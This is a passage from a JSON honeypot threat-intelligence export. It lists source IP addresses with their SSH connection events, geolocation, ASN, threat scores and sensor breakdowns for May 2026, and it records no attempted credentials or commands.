        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:25:14.888000+00:00",
        "last_seen_30d": "2026-05-22T12:26:52.039000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.151.83.181": {
      "attack_count": 2,
      "first_seen": "2026-05-20T14:06:16.415Z",
      "last_seen": "2026-05-20T14:06:28.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 9443,
      "as_org": "Vocus Retail",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:06:16.415000+00:00",
        "last_seen_30d": "2026-05-20T14:07:35.125000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.245.98.119": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:34:12.169Z",
      "last_seen": "2026-05-22T20:34:13.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:34:12.169000+00:00",
        "last_seen_30d": "2026-05-22T20:35:18.812000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.119.42.55": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:00:45.287Z",
      "last_seen": "2026-05-06T01:00:59.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:00:45.287000+00:00",
        "last_seen_30d": "2026-05-06T01:02:02.864000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.28.49.15": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:04:13.816Z",
      "last_seen": "2026-05-05T15:04:26.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:04:13.816000+00:00",
        "last_seen_30d": "2026-05-05T15:05:30.208000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.103.107.221": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:27:15.553Z",
      "last_seen": "2026-05-15T04:27:15.577Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:27:15.553000+00:00",
        "last_seen_30d": "2026-05-15T04:28:16.288000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.244.154.35": {
      "attack_count": 2,
      "first_seen": "2026-05-07T21:26:56.533Z",
      "last_seen": "2026-05-07T21:27:08.871Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:26:56.533000+00:00",
        "last_seen_30d": "2026-05-07T21:28:49.947000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "164.68.118.26": {
      "attack_count": 2,
      "first_seen": "2026-05-02T23:03:19.362Z",
      "last_seen": "2026-05-02T23:03:50.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:03:19.362000+00:00",
        "last_seen_30d": "2026-05-02T23:04:52.884000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "171.224.68.172": {
      "attack_count": 2,
      "first_seen": "2026-05-29T06:55:08.086Z",
      "last_seen": "2026-05-29T06:55:21.030Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Th\u00e1i B\u00ecnh",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:55:08.086000+00:00",
        "last_seen_30d": "2026-05-29T06:56:24.844000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.131.213.38": {
      "attack_count": 2,
      "first_seen": "2026-05-20T07:05:12.971Z",
      "last_seen": "2026-05-20T07:05:26.808Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 28615,
      "as_org": "Televisao Cidade SA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:05:12.971000+00:00",
        "last_seen_30d": "2026-05-20T07:06:31.010000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.55.67.32": {
      "attack_count": 2,
      "first_seen": "2026-05-10T03:49:17.898Z",
      "last_seen": "2026-05-10T03:49:31.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marab\u00e1",
      "asn": 264496,
      "as_org": "Fibralink LTDA",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:49:17.898000+00:00",
        "last_seen_30d": "2026-05-10T03:50:34.800000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.75.47.154": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:26:45.733Z",
      "last_seen": "2026-05-03T15:26:58.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 53040,
      "as_org": "ALTA CONEXAO TELECOMUNICACOES LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:26:45.733000+00:00",
        "last_seen_30d": "2026-05-03T15:28:08.172000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.125.232.53": {
      "attack_count": 2,
      "first_seen": "2026-05-03T04:26:44.751Z",
      "last_seen": "2026-05-03T04:26:57.663Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:26:44.751000+00:00",
        "last_seen_30d": "2026-05-03T04:28:07.710000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.25.58.99": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:28:38.997Z",
      "last_seen": "2026-05-20T18:30:38.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:38.997000+00:00",
        "last_seen_30d": "2026-05-20T18:31:41.102000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.55.123.242": {
      "attack_count": 2,
      "first_seen": "2026-05-21T03:48:25.053Z",
      "last_seen": "2026-05-21T03:48:38.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Moreno",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:48:25.053000+00:00",
        "last_seen_30d": "2026-05-21T03:49:40.478000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.110": {
      "attack_count": 2,
      "first_seen": "2026-05-18T02:03:46.559Z",
      "last_seen": "2026-05-18T02:03:56.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T02:59:15.119000+00:00",
        "last_seen_30d": "2026-05-31T06:47:36.430000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 18,
        "Dionaea": 3,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Sentrypeer": 1
      }
    },
    "2.87.57.194": {
      "attack_count": 2,
      "first_seen": "2026-05-25T16:48:26.044Z",
      "last_seen": "2026-05-25T16:48:39.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T16:48:26.044000+00:00",
        "last_seen_30d": "2026-05-25T16:49:46.037000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "202.90.76.121": {
      "attack_count": 2,
      "first_seen": "2026-05-19T14:45:52.711Z",
      "last_seen": "2026-05-19T14:46:11.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "French Polynesia",
      "country_code": "PF",
      "city": "Papeete",
      "asn": 9471,
      "as_org": "ONATI",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:45:52.711000+00:00",
        "last_seen_30d": "2026-05-19T14:47:16.525000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "206.189.63.131": {
      "attack_count": 2,
      "first_seen": "2026-05-22T09:17:26.536Z",
      "last_seen": "2026-05-22T09:17:46.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 273,
        "days_active_30d": 22,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T14:37:13+00:00",
        "last_seen_30d": "2026-05-23T00:33:30.358000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 177,
        "Honeytrap": 91,
        "Tanner": 3,
        "Cowrie": 2
      }
    },
    "222.114.27.220": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:06:21.364Z",
      "last_seen": "2026-05-17T07:06:51.879Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jung-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:06:21.364000+00:00",
        "last_seen_30d": "2026-05-17T07:07:57.913000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.233.83.78": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:04:13.371Z",
      "last_seen": "2026-05-02T08:04:27.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:04:13.371000+00:00",
        "last_seen_30d": "2026-05-02T08:05:32.562000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.27.2.189": {
      "attack_count": 2,
      "first_seen": "2026-05-25T14:50:45.188Z",
      "last_seen": "2026-05-25T14:50:57.898Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:50:45.188000+00:00",
        "last_seen_30d": "2026-05-25T14:52:06.312000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.51.122.38": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:12:02.102Z",
      "last_seen": "2026-05-07T05:14:02.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Punto Fijo",
      "asn": 272102,
      "as_org": "BESSER SOLUTIONS C.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:12:02.102000+00:00",
        "last_seen_30d": "2026-05-07T05:15:04.879000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.13.152.249": {
      "attack_count": 2,
      "first_seen": "2026-05-12T20:13:56.106Z",
      "last_seen": "2026-05-12T20:15:56.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Durban",
      "asn": 29975,
      "as_org": "VODACOM",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:13:56.106000+00:00",
        "last_seen_30d": "2026-05-12T20:17:02.942000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.172.6.79": {
      "attack_count": 2,
      "first_seen": "2026-05-21T00:21:42.973Z",
      "last_seen": "2026-05-21T00:22:14.431Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 28890,
      "as_org": "INSYS LLC",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T00:21:42.973000+00:00",
        "last_seen_30d": "2026-05-21T00:23:22.559000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.173.122.158": {
      "attack_count": 2,
      "first_seen": "2026-05-07T07:07:39.570Z",
      "last_seen": "2026-05-07T07:07:52.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:07:39.570000+00:00",
        "last_seen_30d": "2026-05-07T07:08:58.625000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "88.226.69.24": {
      "attack_count": 2,
      "first_seen": "2026-05-24T05:40:51.777Z",
      "last_seen": "2026-05-24T05:42:51.802Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "\u00c7ank\u0131r\u0131",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T05:40:51.777000+00:00",
        "last_seen_30d": "2026-05-24T05:53:30.103000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.23.30.173": {
      "attack_count": 2,
      "first_seen": "2026-05-05T22:33:17.670Z",
      "last_seen": "2026-05-05T22:33:30.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Pskov",
      "asn": 47438,
      "as_org": "Pskovline Ltd.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:33:17.670000+00:00",
        "last_seen_30d": "2026-05-05T22:34:38.289000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.149.132.61": {
      "attack_count": 2,
      "first_seen": "2026-05-09T15:53:29.976Z",
      "last_seen": "2026-05-09T15:53:41.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Baranovichi",
      "asn": 42772,
      "as_org": "Unitary enterprise A1",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:53:29.976000+00:00",
